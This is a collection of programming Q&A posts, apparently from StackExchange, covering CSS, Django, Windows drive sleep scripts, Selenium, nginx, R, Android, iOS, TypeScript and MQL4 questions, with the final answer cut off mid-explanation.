text:
Q: Vertical separation between paragraphs in the same bulletpoint in HTML I take notes in a plain text format and view them as HTML. When I write a list (whether ordered or unordered), sometimes I write two paragraphs in the same bulletpoint. In the HTML display, these paragraphs appear very close together. How can I modify the .css template file in order to increase the vertical separation between them?
I this is controlled by the elements li, ol and ul but I don't know how to tweak them exactly. The following is the current code for these elements.
p, table, ul, ol, dl {margin-top: 1.5em; margin-bottom: 1.5em;}
ul ul, ul ol, ol ol, ol ul {margin-top: 0.5em; margin-bottom: 0.5em;}
li {margin: 1.5em auto; padding: 50px 0px;}
ul {margin-left: 2em; padding-left: 0.5em;}

ol {
  margin:0 0 1.5em;
  padding:0;
  counter-reset:item;
}

ol>li {
  margin:0;
  padding:0 0 0 2em;
  text-indent:-2em;
  list-style-type:none;
  counter-increment:item;
}

ol>li:before {
  display:inline-block;
  width:1.5em;
  padding-right:0.5em;
  font-weight:bold;
  text-align:right;
  content:counter(item) ".";
}

A: For separation between paragraphs in bullet points specifically:
nothing different just do this
for example:

li + li{
  margin-top: 60px; /*as per requirement*/
}

It is a long established fact that a reader will be

It is a long established fact that a reader will be

Also, there could be a future problem if you have many bullet lists in a page so
just make an id for your bullet list tag and you will be all set, for example:

#first li + li{
  margin-top: 60px; /*as per requirement*/
}

It is a long established fact that a reader will be

It is a long established fact that a reader will be


text:
Q: How to create a dynamic form with values in model using form.py? I would like to create a dynamic form using forms.py where questions and answers come from values in the columns of models.
I have three models, one called Sheet, which contains many questions from the Question model  (Many to Many). The Question model can contain one or more answers from the Answer model (Many to Many)
In my views.py, my function retrieves all values from Sheet model and sends values to my html file.
In my html file I have a code that allows me to display all the questions with their answers.
class Sheet(models.Model):
    form = models.ForeignKey(Form, on_delete=models.CASCADE)
    question = models.ManyToManyField(Question, blank=True)
    sheet_name = models.CharField(max_length=256)
    creation_date = models.DateTimeField(auto_now_add=True)

    def __str__(self):
        return self.sheet_name

class Question(models.Model):
    is_parent = models.ManyToManyField("self", blank=True)
    answer = models.ManyToManyField(Answer, blank=True)
    in_french = models.TextField(max_length=512)
    in_english = models.TextField(max_length=512)

    def __str__(self):
        return self.in_french

class Answer(models.Model):
    in_french = models.CharField(max_length=32)
    in_english = models.CharField(max_length=32)

    def __str__(self):
        return self.in_french

{% for a_sheet in all_sheets %}
    Survey: {{ a_sheet.sheet_name}}
        {% for q in a_sheet.question.all %}
            Question: {{ q.in_english }}

            Answers:
            {% if q.answer.all %}
                <select>
                    {% for a in q.answer.all %}
                        <option value={{ a.id }}> {{ a.in_french }} </option>
                    {% endfor %}
                </select>
            {% else%}
             <input type="text" name="answer">
            {% endif %}
        {% endfor %}
{% endfor %}

My question is how to translate my html code to put it in my forms.py file. Putting the code in a function of my forms.py file would allow me to set up conditions and retrieve the results of my form to put them in another model. This problem cannot be solved by default with the forms.ModelForm which displays the model columns in the forms.
Thank you very much for your help

redpajama_set_name: RedPajamaStackExchange


text:
Q: How to setup Windows to not put my external drive to sleep? Every time I use some external device (pen-drive or external HDD) on my desktop, after some idle time my Windows 7 puts it into sleep state, turning it off. Sometimes it sleeps and doesn't come back. Is there a way to configure Windows to avoid the sleeping of my external device?

A: Windows USB are set to be disabled if idle to save power, you can disable this function by going to

*

*Control Panel

*Device Manager

*Universal Serial Bus controllers (expend this)
You should see a list of Generic USB Hub
Right click on each one of them and select Properties | Power Management
and uncheck the Allow the computer to turn off this device to save power

A: Try this piece of software: NosleepHD: http://nosleephd.codeplex.com/
It writes an empty file every minute.

A: I'm encountering the same issue (Windows 8.1) and none of the "power setting" solutions worked for me.
I ended up playing a movie file, an audio file... anything that cause regular accesses to the disk.
For less overhead, it should be feasible to write some script that just regularly access the disk, before it goes to sleep.

edit: here is a quick script that does the job.
A blank file "mzt7dbs5ffxamzsj.txt" (just some random name) will be created (then regularly written to) at the same location as the batch file:
@ECHO OFF
SET FILE=%~dp0mzt7dbs5ffxamzsj.txt
SET TIMEOUT=30

ECHO.
ECHO File: %FILE%
ECHO Timeout: %TIMEOUT% seconds
ECHO.
ECHO Script is running...

:LOOP
TYPE NUL > "%FILE%"
TIMEOUT /T %TIMEOUT% /NOBREAK > NUL
GOTO LOOP

side notes:

*

*I tried DIR but it didn't work as the results are cached. There should be some way that doesn't require to use a file.

*Resource of interest: How to create empty text file from a batch file?

*Debugging was easy as my drive spins down every 40 seconds >_<

A: Go into the Power Options in Control Panel, then click on "Change Plan Settings" for your plan, then there should be an option "Change advanced power settings", then look under the "Hard Disk" and "USB Settings" areas.
This one may not be the actual answer, but set your "Turn off Hard Disk after" to never (set 0), but I think the real one is to set "USB selective suspend settings" to "disabled" at least when plugged in...but maybe also when on battery if you are using it that way when it happens.

A: The power options or device manager options never worked for me with Windows 8, 8.1 or 10. Below is a simply batch script to do the job. Open a text editor, copy-paste the commands, change the drive letter to match your HDD's, to add another drive replicate the copy, del commands once more, save it as a .bat or .cmd file and double click to run.
@echo off
:start

REM --- Change the drive letter D below to match your HDDs. To add another drive replicate the copy and del lines ---
copy NUL D:\HDDActive.txt
del D:\HDDActive.txt

TIMEOUT /T 30 /NOBREAK
goto start

Additionally, you may want to see this to run the batch file on startup.


text:
Q: Python Selenium: waiting for one element OR another element to load I'm using this code for waiting for an element to load:
browser = webdriver.Chrome(executable_path=chromedriver,options=ChromeOpts, desired_capabilities=captain)
wait = WebDriverWait(browser, 5)
openbrowser = browser.get(url)
wait.until(EC.presence_of_element_located((By.ID, 'h1')))
browser.execute_script("window.stop();")

However, what I really need is to wait for one element OR another.
So I can, for example, wait for 'h1' OR 'rf-footer'.
thanks,

A: You can combine the two checks in a single wait() operation - by using a python's lambda expression, using the find_elements_*() methods glued together with an or:
element = wait.until(lambda x: x.find_elements_by_id("id1") or x.find_elements_by_css_selector("#id2"))[0]

You can use this approach even to get the element that is matched first - the [0] at the end.
This solution works, as find_elements_*() returns a list of all matched elements, or an empty one if there aren't such (a boolean false). So if the first call doesn't find anything, the second is evaluated; that repeats until either of them finds a match, or the time runs out.
This approach gives the benefit the wait.until() will stop immediately after one of the two passes - e.g. speed.

Versus a try-catch block - in it, the first condition has to fail (waited for up to X seconds, usually 10), for the second one even to be checked; so if the first is false, while the second true - the runtime/wait is going to be at least X seconds plus whatever time the second check takes.
In the worst case, when both are false, you are in for 2X wait, versus X in combining the two. If you add other conditions, you are only increasing the factor.

A: You can do this by using expected_conditions
from selenium.webdriver.support import expected_conditions

the full solution can be found here: Selenium Expected Conditions - possible to use 'or'?

A: I got it buy using TRY/EXCEPT.
openbrowser = browser.get(url) #navigate to the page
try:
   wait.until(EC.presence_of_element_located((By.ID, id_stop)))
except:
   wait.until(EC.presence_of_element_located((By.ID, 'rf-footer')))
browser.execute_script("window.stop();")


text:
Q: How do I colour a row in Excel using vba? I have a large excel sheet that has a few cells coloured green within a column. How can I identify the green cell and subsequently turn the entire row into the same background colour?

A: For i = 2 To LastRow
    If Worksheets("Request Results").Cells(i, 4).Value <> Worksheets("Request Results").Cells(i, 6).Value Then
        Cells(i, 1).EnitreRow.Interior.ColorIndex = 255
    ElseIf Worksheets("Request Results").Cells(i, 4).Value = Worksheets("Request Results").Cells(i, 6).Value Then
        Cells(i, 1).EntireRow.Interior.ColorIndex = 5296274
    End If
Next i


text:
Q: Why isn't my application's performance scaling with more CPUs? I am running a piece of software that is very parallel. There are about 400 commands I need to run that don't depend on each other at all, so I just fork them off and hope and that having more CPUs means more processes executed per unit time.
Code:
foreach cmd ($CMD_LIST)
    $cmd &    #fork it off
end

Very simple. Here are my testing results:
On 1 CPU, this takes 1006 seconds, or 16 mins 46 seconds.
With 10 CPUs, this took 600s, or 10 minutes!
Why wouldn't the time taken divide (roughly) by 10? I feel cheated here =(
edit - of course I'm willing to provide additional details you would want to know, just not sure what's relevant because in simplest terms this is what I'm doing.

A: You are assuming your processes are 100% CPU-bound.
If your processes do any disk or network I/O, the bottleneck will be on those operations, which cannot be parallelised (eg one process will download a file at 100k/s, 2 processes at 50k/s each so you would not see any improvement at all, furthermore you could experience a degrade in performance because of overheads).
See: Amdahl's_law - this allows you to estimate the improvement in performance when parallelising tasks, knowing the proportion between the parallelisable part and the non-parallelisable)


text:
Q: How to use the method 'include?' of the class Mongoid::Criteria? The class document of Mongoid::Criteria doesn't mention anything about the method 'include?'. I think it should behave like Array.include?, but it isn't.
Here is an example showing that how an array works.,
months = ['January', 'February', 'March']
months.include? 'January' #=> true
months.include? 'Jan'     #=> false

For a collection model Month which has fields month(String), created_at, updated_at. However, Month.where(month: /a/).include? 'January' or 'Jan' always returns false.
Is there a similar method doing the same as Array.include? for Mongoid?, and how to use this 'include?' method?

A: Array.include?(element) works perfect in mongoid.
When you run User.all, it returns mongoid criteria. While the include works on array. Either user to_a or entries like Story.all.entries to change it to array.
User.all.to_a.include?(User.first)

will give true.
After your qsn update, i'll try to explain it.
Month.where(month: /a/)

This returns a mongoid criteria. Now
Month.where(month: /a/).include? or Month.where(month: /a/).entries.include?

expects an object to compare with and not string. It's like if this query returns few months as objects and now you execute
Month.where(month: /a/).include?(month_obj)

will give true if month_obj has month with text containing "a". Hope this answer answers your query


text:
Q: Nginx redirect all contents of a subdirectory to another subdirectory Let say that I have a url like this:
http://www.example.com/admin/admin.php?fail=1
how can I rewrite the url to be
http://www.example.com/another/subdirectory/admin.php?fail=1
Thank you

Update: this is what I've tried so far, but it will not redirect admin.php?fail=1
location /admin/ {
    rewrite ^/admin/(.*)$
    /another/subdirectory/$1 redirect;
}

A: I rather use return 301 for redirections and use rewrite only if I want to display something like a nice url.
Please try the following
location  ~ ^/admin/(.*) {
    return 301  /another/subdirectory/$1 ;
}


text:
Q: Heuristic in A* when exact weight of the goal state is unknown So here is the problem I have been working on:
You are given a random nxn grid with weights in each box of the grid and you are also given a set of pegs p<=n. Your goal is to place the pegs on the grid such that the sum of weights on the grid where the pegs are placed is maximized.
The constraint is that the peg positions have to follow the non-attacking Queen placements too.
My initial attempt was to start with the max score grid box and follow the n queen placement. However, this doesn't work as it misses the max value in the end.
I have been trying to solve this with A* but have been struggling to find a heuristic.

A: Usually A* search is used for finding a shortest path, and not for finding the maximum value, but you can use it for maximizing as well.  In the usual minimization version your heuristic has to always be a lower bound for the length.  To maximize, the heuristic needs to be an upper bound that isn't too hard to calculate.  And you need a max-heap, not a min-heap to produce the next best candidate.
One other issue is that there are many different orders to select the best placement.  With an n x n board there will be n! such orders.  You will greatly speed your search if you do something like insist on selecting from largest to smallest pin.
I would therefore suggest as a heuristic the sum of the largest pins that are not already under attack, and are no larger than the smallest pin you currently have selected without trying to test for being non-attacking.  This is an easily calculated upper bound, and will cause you to initially begin with the obvious greedy choice of trying to grab the biggest available pin.


text:
Q: Contingency table of unique ids Example Data:
id <- c(1,1,1,2,2,3,4,4,5,5,6,6)
comm <- c("Called","Called","Emailed","Called", "Called","Emailed","Called", "Emailed","Called", "Emailed", "Other", "Other")
called <- c("Called", "Called", "Not Called", "Called", "Called", "Not Called", "Called","Not Called", "Called", "Not Called", "Not Called", "Not Called")
emailed <- c("Not Emailed","Not Emailed","Emailed", "Not Emailed", "Not Emailed", "Emailed","Not Emailed", "Emailed", "Not Emailed","Emailed", "Not Emailed", "Not Emailed")
returned <- c("Returned", "Returned", "Returned", "Not Returned", "Not Returned","Returned", "Not Returned", "Not Returned", "Not Returned", "Not Returned", "Not Returned", "Not Returned")
data <- data.table(id, comm, called, emailed, returned)

I want to create the following two tables:

So the tables for the example data should look like this:

I've tried the following (along with other ways that got erased):
table(data$called, data$emailed)
       Emailed Not Emailed
  Called           0           6
  Not Called       4           2

But the problem is that counts the number of times calls/emails are made. However, I want it to count the number of unique accounts that are called/emailed/both, not the number of calls/emails made.
Edit to Add: I've realized that I made a mistake with what the second table should be. Here is what it should be.

A: For the first table, you can do something like:
pvt <- data[, .(
        called=if(any(comm=="Called")) "Called" else "Not Called",
        emailed=if(any(comm=="Emailed")) "Emailed" else "Not Emailed"),
    by=.(id)]
dcast(pvt, called ~ emailed, uniqueN, value.var="id")

output:
       called Emailed Not Emailed
1:     Called       3           1
2: Not Called       1           1

For the 2nd table, it is not clear how you handle cases where person is called and emailed but only returned the call. If you are ok with person returning either call or email, then for the 2nd table, something like this should work:
pvt <- data[, .(
        called=if(any(comm=="Called")) "Called" else "Not Called",
        emailed=if(any(comm=="Emailed")) "Emailed" else "Not Emailed",
        returned=if(any(returned=="Returned")) "Returned" else "Not Returned"),
    by=.(id)]
dcast(pvt, called ~ emailed, function(x) sum(x=="Returned") / length(x),
    value.var="returned")

output:
       called   Emailed Not Emailed
1:     Called 0.3333333           0
2: Not Called 1.0000000           0

A: You can count for each combination of called and emailed the number of unique ids. I think that is what you want:
library(tidyr)
library(dplyr)

data %>%
  group_by(called, emailed) %>%
  summarise(n_id = n_distinct(id)) %>%
  spread(key = emailed, value = n_id)

# A tibble: 2 x 3
# Groups:   called [2]
  called     Emailed `Not Emailed`
  <chr>        <int>         <int>
1 Called          NA             4
2 Not Called       4             1

EDIT:
Using data.table you can also do:
data[, .(n_id = uniqueN(id)), by = .(called, emailed)] %>%
  spread(key = emailed, value = n_id)

       called Emailed Not Emailed
1:     Called      NA           4
2: Not Called       4           1


text:
Q: pandas.read_csv y-axis contains whole data rows and sklearn.linear model ValueError I am very new to Python. I inserted a csv-file which contains data about used cars (price, yearOfRegistration, powerPS, Kilometer, model, fuelType) and used a scatter-plot to visualize my data. The x-axis should be the Kilometers and the y-axis the price. After running my code the label of the x-axis looks okay (labels are 20000, 40000, 60000, etc.) whereas the label of the y-axis does not. The label of the y-axis contains whole data rows and one line looks like this: 4500,1999,150,125000,3er,benzin,"BMW...".
I have tried to relabel the y-axis but I think that the problem exists in the csv data?
That is my code:
import pandas as pd

df = pd.read_csv("./autos_prepared.csv")
#print(df)

print(df.head())

print(df["price"])

from IPython import get_ipython
get_ipython().run_line_magic('matplotlib', 'inline')

import matplotlib.pyplot as plt

plt.scatter(df["kilometer"], df["price"])
plt.show()

I expected a plot with the x-axis I described above and labels on the y-axis from 0, 10000, 20000, 30000, 40000. Instead I have got the results I described above.
Additionally I would like to add that I have got the
ValueError: Input contains NaN, infinity or a value too large for dtype('float64').
after trying to run this code:
from sklearn.linear_model import LinearRegression

model = LinearRegression()
model.fit(df[["kilometer"]], df[["price"]])
#
print("Intercept: " + str(model.intercept_))
print("Coef: " + str(model.coef_))

Is there anyone who could help me? That would be great!

A: I think there indeed was an error in the data. Problem is solved now. I do not know exactly what was wrong but it works now.


text:
Q: Fragments RecyclerView Databinding Kotlin - Unresolved reference variable name I was trying DataBinding on a Small Project which has some fragments and one of the fragments hosts a RecyclerView.
The child item has a DataBindingwhich I am unable to access in the RecyclerView Adapter.
How to solve this?

ShopFragment.KT
class ShopFragment : Fragment(),ShopItemsAdapter.ShopInterface {
  lateinit  var fragmentShopBinding: FragmentShopBinding;
    lateinit var shopItemsAdapter: ShopItemsAdapter ;
    override fun onCreateView(
        inflater: LayoutInflater, container: ViewGroup?,
        savedInstanceState: Bundle?
    ): View {
        // Inflate the layout for this fragment
        fragmentShopBinding= FragmentShopBinding.inflate(inflater,container,false)

        return  fragmentShopBinding.root;

    }

    override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
        shopItemsAdapter = ShopItemsAdapter();
        fragmentShopBinding.shopRV.adapter=shopItemsAdapter;
        super.onViewCreated(view, savedInstanceState)
    }

    override fun addItem(productModel: ProductModel) {
        TODO("Not yet implemented")
    }

    override fun onItemClick(productModel: ProductModel) {
        TODO("Not yet implemented")
    }
}

FragmentShop.xml
<?xml version="1.0" encoding="utf-8"?>
<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    tools:context=".views.ShopFragment">

    <androidx.recyclerview.widget.RecyclerView
        android:id="@+id/shopRV"
        app:layoutManager="androidx.recyclerview.widget.GridLayoutManager"
        app:spanCount="2"
        tools:listitem="@layout/shop_item"
        android:layout_width="match_parent"
        android:layout_height="match_parent" />
</FrameLayout>

shopItem.xml
<?xml version="1.0" encoding="utf-8"?>
<layout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto">

    <data>
    <variable
        name="productModel"
        type="com.example.mvvm_shopping_cart.models.ProductModel" />
    </data>

    <LinearLayout
        android:layout_width="match_parent"
        android:orientation="vertical"
        android:layout_height="match_parent">

        <ImageView
            android:id="@+id/productIV"
            android:layout_width="100dp"
            android:layout_height="100dp"
            android:layout_gravity="center"
            app:srcCompat="@drawable/iphone" />

        <TextView
            style="@style/TextAppearance.MaterialComponents.Body1"
            android:layout_gravity="center"
            android:id="@+id/textView"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="@{productModel.name}" />

        <TextView
            android:layout_gravity="center"
            android:id="@+id/priceTV"
            style="@style/TextAppearance.MaterialComponents.Caption"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="@{productModel.price.toString()}" />

        <TextView
            android:layout_gravity="center"
            android:id="@+id/availableTV"
            style="@style/TextAppearance.MaterialComponents.Caption"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="@{productModel.available? `Available` : `Out of stock`}" />

        <Button
            android:textAppearance="@style/TextAppearance.MaterialComponents.Caption"
            style="@style/Widget.MaterialComponents.Button.TextButton"
            android:id="@+id/AddBtn"
            android:enabled="@{productModel.available}"
            android:layout_gravity="center"
            android:layout_width="wrap_content"
            android:layout_height="wrap_content"
            android:text="Add to cart" />
    </LinearLayout>
</layout>

ProductModel.kt
class ProductModel(var id : Number,var  name : String,var  imageUrl : String, var price : Number, var isAvailable : Boolean) {
    override fun toString(): String {
        return super.toString()
    }

    override fun equals(other: Any?): Boolean {
        return super.equals(other)
    }

    class ShopItemCallBack : DiffUtil.ItemCallback<ProductModel>() {
        override fun areItemsTheSame(oldItem: ProductModel, newItem: ProductModel): Boolean {
            return newItem.id == oldItem.id;
        }

        override fun areContentsTheSame(oldItem: ProductModel, newItem: ProductModel): Boolean {
            return newItem == oldItem;
        }

    }

}

ShopItemAdapter.kt
class ProductModel(var id : Number,var  name : String,var  imageUrl : String, var price : Number, var isAvailable : Boolean) {
    override fun toString(): String {
        return super.toString()
    }

    override fun equals(other: Any?): Boolean {
        return super.equals(other)
    }

    class ShopItemCallBack : DiffUtil.ItemCallback<ProductModel>() {
        override fun areItemsTheSame(oldItem: ProductModel, newItem: ProductModel): Boolean {
            return newItem.id == oldItem.id;
        }

        override fun areContentsTheSame(oldItem: ProductModel, newItem: ProductModel): Boolean {
            return newItem == oldItem;
        }

    }

}

I am unable to find the issue, please help.

A:

Problem:
You are using the wrong generated binding class; as the FragmentShopBinding is the generated class of the fragment_shop.xml which is a fragment layout that contains the RecyclerView ifselft not RecyclerView item layout. And therefore it didn't resolve the product view.
Solution:
To fix this you need to replace the FragmentShopBinding with the generated class associated to the row item layout where it is shopItem.xml, and the generated class would be ShopItemBinding:
class ShopViewHolder(var itemView: ShopItemBinding): RecyclerView.ViewHolder(itemView.root) {

    //......
}


text:
Q: Custom Cell TextView Repeat I have been stuck for hours on this issue. I have created a custom cell inside a tableview which is inside a UIVC. The custom cell has it's own class file and is all linked up as well as having the buttons inside it connected to the UIVC via delegates.
Inside the custom cell there consists of a UITextView as well as some buttons.
Tapping the tableview adds a new custom cell. The user can type whatever their beautiful heart desires, eventually resigning the first responder of the textview. Here is my issue(s).
MAIN. First off. Overtime, the cells start mixing up the text that was typed in by the user, and starts reusing it. It becomes a mess.
Due to the fact I have a custom cell, I do not need to register the class in the viewDidLoad of the UIVC. A stack overflow answer stated.
Optional. Second. Eventually, after a certain point the keyboard blocks the cell view. I have no idea how to scroll the cell to the top of the tableview.
Optional. Third. This is just a bonus. How would one be able to save the data from a cell with a decent storage method. I heard NSUserDefaults is only good for small memory storage files. Basically. Transferring the data in the textview inside the custom cell, into another area (UIVC?) where the data can be saved. Most likely using an array and saving the data on that array.
Code. As requested.
UIVC
func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -> UITableViewCell {

        let reminderCell = reminder_tableView.dequeueReusableCellWithIdentifier("cellReminder", forIndexPath:indexPath) as! addReminderCell

        reminderCell.selectionStyle = .None
        reminderCell.heightForReminderTextDelegate = self
        reminderCell.delegate = self

        reminderCell.reminder_textview.becomeFirstResponder()

        return reminderCell

    }

Custom Cell Code. Not all of it though.
import UIKit
import AVFoundation

//MARK: Height For Reminder Delegate
protocol HeightForReminderTextView
{
    func heightOfTextView(height: CGFloat)

}

//MARK: Beginning of Class

class addReminderCell: UITableViewCell, UITextViewDelegate {

    override init(style: UITableViewCellStyle, reuseIdentifier: String?) {
        super.init(style: style, reuseIdentifier: nil)

    }

    required init(coder aDecoder: NSCoder) {
        super.init(coder: aDecoder)

    }

    //MARK: Delegate Declarations

    var heightForReminderTextDelegate :HeightForReminderTextView?

    //MARK: Element IBOutlets

    @IBOutlet var reminder_textview: UITextView!
    @IBOutlet var reminder_cell_uiview: UIView!

    //MARK: Button
    @IBAction func non_priority_button(sender: AnyObject) {

        println("pressed")

    }

  //MARK: Awake From Nib Starts Here

    override func awakeFromNib() {
        super.awakeFromNib()

        reminder_textview.delegate = self

          }

A: when user types text, you should save it to some array or dictionary accoding to your requirment and that would helpyou with resusing problem.
Now, second problem of yours is scrolling I answered this question hope this will help. this is in objective C although.
and third  for transferring data from OneVc to another you can use Segues
Hope this helps

A: MAIN: When you dequeue a cell it means that cell may be reused it does not create a new cell everytime. For that UITableViewCell has a method named prepareForReuse() which you can override, where you can reset all your cell content. Ex:
override func prepareForReuse() {
    myTextView.text = ""
}

Due to the fact I have a custom cell...
If you have only *.swift file for your custom cell you must registerClass(:forCellReuseIdentifier:)
If you also have *.xib file you should registerNib(:forCellReuseIdentifier:) in the viewDidLoad
Optional
You can use scrollToRowAtIndexPath(_:atScrollPosition:animated:) to scroll desired cell to top of tableView
Optional
You can use CoreData, JSON, some SQLite wrappers to save data. In NSUserDefaults you can use small amount of data, like some settings.
I recommend to use NSJSONSerialization for now. You can create NSData from a Dictionary and write data as *.json to Documents directory using NSFileManager. In your app you should keep an array or dictionary with all the data and pass to another view controller that data.


text:
Q: Caffeine cache X509Certificate I'm developing an option in one project that encrypts some data using X509Certificate. This project uses Spring Boot. I do encryption with BouncyCastle library.
To encrypt data I have to download recipient's certificate from some server. That's simple, I use Apache HttpClient. But frequent downloads can put a heavy load on the server, so I want to cache this certificate.
I have two methods:
public X509Certificate getFromServer() {
    // do some actions...
}

This method downloads certificate from server
public boolean isRevoked(X509Certificate cert) {
    // do some actions...
}

This method checks if a certificate has been revoked.
My goal is cache getFromServer method.
I need to set up cache eviction policy, that:

*

*Evicts certificate if it has expired.

*Evict certificate if it has revoked.

Can anyone help me?


text:
Q: Augmenting a class that is also a namespace from a separate file in TypeScript I'm trying to augment a class with an additional field from a separate file. However, I'm having trouble because this seems to make the namespace for nested declarations inaccessible.
Augment.ts:
declare module './MyClass' {
  export default interface MyClass {
    augmentedField: any
  }
}
import MyClass from './MyClass';
export { MyClass };

MyClass.ts:
namespace MyClass {
  interface Nested {
  }
}
class MyClass {}
export default MyClass;

User.ts:
import {MyClass} from './Augment'
interface Example {
  nested: MyClass.Nested
}

Fails with:

'MyClass' only refers to a type, but is being used as a namespace here.

Any idea how we can make this work?

A: I believe that augmenting a default export isn't supposed to be supported at all, but the interface case currently slips past that check and causes other buggy behavior.  I filed a TypeScript bug.  Your best option is probably to make MyClass a named export of MyClass.ts rather than a default export.


text:
Q: positioning and font size issues on iPhone Safari I'm trying to make this website: http://501commons.org render the same on iPhone as on other browsers.  On Android it works just fine.  I have already added the -webkit-text-size-adjust: 100%; to the body style, which helped a little.  What is still not working are the following pieces, and I can't figure out why mobile safari is not displaying them properly:

*

*the top left logo just plain won't show up

*the search box in the top right is way too far to the left

*the red slogan in the header "A Resource for Nonprofits etc" is too large, too low, and extends beyond the right border

*the font of the three nav menu items (Explore the Commons, Volunteer, Invest) is too large

Everything else seems ok, at least on the home page.  What's weird is that all four problems above occur in the header.
Any help would be hugely appreciated!
Thanks!

A: I figured it out:
Top left logo
The logo not showing up was due to a strange non-cascading issue.  The logo is an  tab inside an .  The #portal-logo has a display: inline-block; rule in the next-to-last stylesheet that applies to it, but not in the last one.  In other words, this is what we have:
#portal-logo {       /* in the last CSS file */
   margin-bottom: 0;
}

#portal-logo {      /* in the next-to-last CSS file */
   display: inline-block;
   margin: 1.375em 0;
}

Adding display: inline-block; to the last stylesheet magically makes the logo appear.  Then I had to also fiddle with margins, position, top, etc to make it appear in the right place, but all these are in a CSS file that is loaded conditionally only on mobile browsers, so it's ok.  It's just really strange that Safari on iOS does not cascade the display: inline-block; style!
Search box
I made the search box be rendered in the proper place by adding text-align:right; to its container, even though an earlier rule for the same container with text-align:left; makes it work just fine in every other browser.
Slogan
The slogan required the most tweaking.  It's contained in a
.  Here is the old rule:
#slogan {
  color: #EE3524;
  float: right;
  font-size: 110%;
  font-weight: bold;
  margin-right: -190px;
  padding-top: 60px;
  position: relative;
  z-index: 1;
}

And here is the new rule that works on mobile safari:
#slogan {
  -webkit-text-size-adjust: 100%;
  clear:right;
  color:#ee3524;
  font-size:17.6px;
  font-weight: bold;
  float:right;
  margin-right:0px;
  padding-bottom:50px;
  padding-top:0px;
  position:relative;
  text-align:right;
  z-index:1;
}

One of the key differences is the absolute font-size in px, instead of as a % value.
Menu Items font
Likewise, specifying the font-size in px instead of % seemed to be the key here:
Old:
#portal-globalnav li a {
  background-color: transparent;
  color: #FFFFFF;
  font-size: 1.2em;
  font-weight: bold;
  min-width: 3em;
  padding-bottom: 11px;
}

New:
#portal-globalnav li a {
  background-color:transparent;
  color:#fff;
  font-size:15.4px;
  font-weight:bold;
  padding-bottom:11px;
  min-width:3em;
}

YMMV!


text:
Q: How to italicize part (one or two words) of x-axis labels using multiple lines (This is my first question on this forum, sorry in advance if it's not that clear!)
I am trying to rename the labels of the x axis of a graph made with ggplot2 in a way that:

*

*it appears on two lines, and

*some of the characters are in italic.

I have found two answers to help me with this problem, the first regarding italic in titles (How to italicize part (one or two words) of an axis title), the second regarding writing titles on two lines (Add line break to axis labels and ticks in ggplot).
Unfortunetaly, when I try those two solutions together, it doesn't work.
My case is a bit complex, so let me show you a simple analogous example, using the mtcars dataset.
Here's the base code:
base <- mtcars %>% ggplot(aes(x = factor(cyl))) +
  geom_bar() +
  scale_y_continuous(breaks = 0:20) +
  xlab(NULL)

base

Which gives this:
Base graph
What I want is this (I completed it in Paint): Desired graph
The best I can do, based on my findings, is this:
addline_format <- function(x,...){
  gsub('\\s','\n',x)
  }

my_x_titles <- c(expression(paste("4 cylinders (", italic("N"), " = 11)")),
                 expression(paste("6 cylinders (", italic("N"), " = 7)")),
                 expression(paste("8 cylinders (", italic("N"), " = 14)")))

base + scale_x_discrete(breaks = c(4, 6, 8),
                        labels = addline_format(my_x_titles))

Which gives something not great: My not-great solution
Using the homemade addline_format function seems to block the effect the italic function. Moreover, I'd like the labels to be on only two lines (please refer to my Desired solution picture), not multiple, even though I use multiple spaces.
Anyone would know how to solve this?

A: You can cheat using atop:
my_x_titles <- c(
  expression(atop(paste("4 cylinders"), (italic(N) == 11))),
  expression(atop(paste("6 cylinders"), (italic(N) == 7))),
  expression(atop(paste("8 cylinders"), (italic(N) == 14)))
)

base + scale_x_discrete(breaks = c(4, 6, 8),
                        labels = my_x_titles)


text:
Q: closure of an attribute A with multiple B attributes Let's say we have a relation R(cinemaroomNumber,properties) that has 2 attributes cinemaroomNumber and (technical cinemaroom) properties . As an example, i'll give 3 tuples (4, 3D) , (4, Dolby) , (3, Dolby).
Can i say that there is a functional dependency cinemaroomNumber->properties so that the closure of cinemaroomNumber is {cinemaroomNumber}+ = {cinemaroomNumber,properties}?
I doubt this because a cinemaroom can have multiple properties.
Thanks in advance.

A: A functional dependency claims, "Given one value for X, I can determine one and only one value for Y." In your case, given the cinema room number '4', you find two different values: '3D' and 'Dolby'.
So, no, cinemaroomNumber->properties is not a functional dependency in R.
The closure of cinemaroomNumber in R seems to be just cinemaroomNumber.


text:
Q: MQL4 - ERROR 4111 when calling OrderSend() method I am trying to place order, but my call to OrderSend() method ( https://docs.mql4.com/trading/ordersend )is failing:

2016.08.01 00:51:09.710   2016.07.01 01:00  s EURUSD,M1: OrderSend error 4111

void OnTick() {
    if (  OrdersTotal() == 0 ){
          int   result =  OrderSend( NULL, OP_SELL, 0.01, Bid, 5, 0, Bid - 0.002, NULL, 0, 0, clrGreen );
          if (  result <  0 ) Print( "Order failed #", GetLastError() );
          else                Print( "Order success" );
    }
}

Do you know what am I doing wrong please?

A: Let's dis-assemble the OrderSend() call first:
int result = OrderSend( NULL,             // string:      _Symbol,
                        OP_SELL,          // int:         OP_SELL,
                        0.01,             // double:      NormalizeLOTs( nLOTs ),
                        Bid,              // double:      NormalizeDouble( Bid, Digits ),
                        5,                // int:         slippagePOINTs,
                        0,                // double:      {       0 | NormalizeDouble( aSlPriceTARGET, Digits ) },
                        Bid-0.002,        // double:      {       0 | NormalizeDouble( aTpPriceTARGET, Digits ) },
                        NULL,             // string:      {    NULL | aBrokerUnguaranteedStringCOMMENT },
                        0,                // int:         {       0 | aMagicNUMBER },
                        0,                // datetime:    {       0 | aPendingOrderEXPIRATION },
                        clrGreen          // color:       { clrNONE | aMarkerCOLOR }
                        );

For one's further peace-of-mind, one ought always normalise all the values, that have some restrictive handling on the MQL4-side ( prices + lot ( quantised ) values -- as these are not continuous values in R domain, but rather quantum-stepped:
prices: having a 0.00001 or 0.0001 or 0.001 or 0.01 or 0.1 or 1.0 etc. stepping,
